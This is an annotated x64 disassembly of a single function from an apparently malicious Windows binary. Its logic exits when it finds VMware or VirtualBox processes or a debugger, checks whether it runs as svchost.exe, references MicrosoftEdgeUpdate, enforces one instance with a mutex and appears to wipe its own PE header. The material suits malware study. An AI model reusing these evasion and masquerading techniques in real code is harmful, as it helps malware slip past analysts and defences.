Function at 0x140003c40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x3a8]
sub rsp, 0x4a0
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x390], rax
call fcn.1400029ec
lea rcx, str.vmware.exe
call fcn.140006404
xor edi, edi
test al, al
jne 0x140003ee3
lea rcx, str.vmware_vmx.exe
call fcn.140006404
test al, al
jne 0x140003ee3
lea rcx, str.vboxservice.exe
call fcn.140006404
test al, al
jne 0x140003ee3
lea rcx, str.vboxtray.exe
call fcn.140006404
test al, al
jne 0x140003ee3
call fcn.140004fd8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140003cdf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140003d0c
lea rcx, [rbp + 0x180]
call qword [0x1400452a8]
mov r8, rax
jmp 0x140003d13
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov r9, rbx
call fcn.14000cadc
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14001b0f8
test eax, eax
je 0x140003e2e
call fcn.1400011e8
lea rcx, [rsp + 0x20]
call fcn.14000610c
cmp qword [rsp + 0x38], 8
jb 0x140003d61
mov rcx, qword [rsp + 0x20]
call fcn.140007afc
lea rsi, [0x1400452e0]
mov rcx, rsi
call fcn.140005cec
lea rdx, str.MicrosoftEdgeUpdate
lea rcx, [rsp + 0x20]
mov r8d, 0x13
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.1400020f4
cmp byte [0x1400452e0], dil
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jne 0x140003dbb
mov rbx, rdi
jmp 0x140003dc4
inc rbx
cmp byte [rsi + rbx], dil
jne 0x140003dbb
lea rcx, [rsp + 0x40]
mov r8, rbx
mov rdx, rsi
call fcn.140001ff4
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005e58
cmp qword [rsp + 0x58], 0x10
jb 0x140003df5
mov rcx, qword [rsp + 0x40]
call fcn.140007afc
cmp qword [rsp + 0x38], 8
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jb 0x140003e1a
mov rcx, qword [rsp + 0x20]
call fcn.140007afc
call fcn.140005ae0
call fcn.140001b30
test eax, eax
jne 0x140003e2e
call fcn.140003b04
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14001b0f8
test eax, eax
jne 0x140003eda
lea r8, [0x140028510]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140003e80
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003e80
mov rcx, rbx
call qword [0x1400452b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov dword [rsp + 0x60], edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0x1000
lea r9, [rsp + 0x60]
mov r8d, 4
mov edx, edi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
xor edx, edx
mov rcx, rbx
call fcn.14000f5d0
lea rcx, [0x1400453f0]
call fcn.140005cec
call fcn.1400079e8
mov qword [0x1400452d8], rax
call fcn.140007370
call fcn.140003b04
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]